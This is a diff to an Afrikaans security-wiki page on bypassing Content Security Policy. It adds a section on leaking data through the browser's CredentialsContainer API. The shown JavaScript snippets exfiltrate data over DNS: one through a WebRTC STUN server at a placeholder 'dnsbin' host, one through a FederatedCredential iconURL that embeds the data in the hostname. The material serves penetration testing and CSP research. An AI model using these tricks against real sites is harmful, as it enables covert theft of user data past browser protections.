-Werklik kan jy _leak_ inligting gebruik maak van 'n _DNS versoek_. Kyk na hierdie kode:
+Werklik kan jy _leak_ inligting gebruik makend van 'n _DNS versoek_. Kyk na hierdie kode:
 ```javascript
 ;(async () => {
 p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -700,6 +700,19 @@ var pc = new RTCPeerConnection({
 });
 pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
 ```
+### CredentialsContainer
+
+Die geloofwaardigheid pop-up stuur 'n DNS versoek na die iconURL sonder om deur die bladsy beperk te word. Dit werk slegs in 'n veilige konteks (HTTPS) of op localhost.
+```javascript
+navigator.credentials.store(
+new FederatedCredential({
+id:"satoki",
+name:"satoki",
+provider:"https:"+your_data+"example.com",
+iconURL:"https:"+your_data+"example.com"
+})
+)
+```
 ## Kontroleer CSP Beleide Aanlyn

 - [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)